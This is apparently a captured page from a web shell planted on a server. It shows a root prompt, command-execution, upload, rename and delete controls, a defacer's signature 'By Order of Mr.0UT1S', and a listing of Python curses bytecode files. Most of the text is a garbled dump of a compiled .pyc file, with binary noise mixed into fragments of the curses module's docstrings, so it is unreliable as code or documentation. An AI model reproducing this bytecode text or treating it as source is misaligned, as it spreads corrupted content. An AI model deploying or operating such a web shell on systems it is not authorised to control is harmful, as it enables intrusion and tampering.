opt
/
alt
/
python310
/
lib64
/
python3.10
/
curses
/
__pycache__
/
Go to Home Directory
+
Upload
Create File
root@0UT1S:~$
Execute
By Order of Mr.0UT1S
[DIR] ..
N/A
__init__.cpython-310.opt-1.pyc
1.82 KB
Rename
Delete
__init__.cpython-310.opt-2.pyc
1.32 KB
Rename
Delete
__init__.cpython-310.pyc
1.82 KB
Rename
Delete
ascii.cpython-310.opt-1.pyc
3.54 KB
Rename
Delete
ascii.cpython-310.opt-2.pyc
3.48 KB
Rename
Delete
ascii.cpython-310.pyc
3.54 KB
Rename
Delete
has_key.cpython-310.opt-1.pyc
4.81 KB
Rename
Delete
has_key.cpython-310.opt-2.pyc
4.81 KB
Rename
Delete
has_key.cpython-310.pyc
4.81 KB
Rename
Delete
panel.cpython-310.opt-1.pyc
242 bytes
Rename
Delete
panel.cpython-310.opt-2.pyc
178 bytes
Rename
Delete
panel.cpython-310.pyc
242 bytes
Rename
Delete
textpad.cpython-310.opt-1.pyc
5.86 KB
Rename
Delete
textpad.cpython-310.opt-2.pyc
4.37 KB
Rename
Delete
textpad.cpython-310.pyc
5.86 KB
Rename
Delete
o �?Og) � @ s` d Z ddlT ddlZddlZdd� Zdd� Zze W n e y) dd lmZ Y nw d d� Z dS )z�curses The main package for curses support for Python. Normally used by importing the package, and perhaps a particular module inside it. import curses from curses import textpad curses.initscr() ... � )�*Nc C sp dd l } dd l}ttj�dd�tj�� d� | � � }| j �� D ]\}}|dd� dks/|dv r5t|||� q|S )Nr ZTERM�unknown)Zterm�fd� ZACS_)ZLINESZCOLS) �_curses�cursesZ setupterm�_os�environ�get�_sys� __stdout__�fileno�initscr�__dict__�items�setattr)r r �stdscr�key�value� r �6/opt/alt/python310/lib64/python3.10/curses/__init__.pyr s ��r c C s@ dd l } dd l}| �� }t| d�r| j|_t| d�r| j|_|S )Nr �COLORS�COLOR_PAIRS)r r �start_color�hasattrr r )r r Zretvalr r r r * s r � )�has_keyc O s� z8t � }t� t� |�d� zt� W n Y | |g|�R i |��W dt� v r8|�d� t� t� t� S S dt� v rM|�d� t� t� t� w w )a Wrapper function that initializes curses and calls another function, restoring normal keyboard/screen behavior on error. The callable object 'func' is then passed the main window 'stdscr' as its first argument, followed by any other arguments passed to wrapper(). r r r ) r ZnoechoZcbreakZkeypadr �localsZechoZnocbreakZendwin)�func�args�kwdsr r r r �wrapper? s* � �r! )�__doc__r �osr �sysr r r r � NameErrorr! r r r r �<module> s �
Save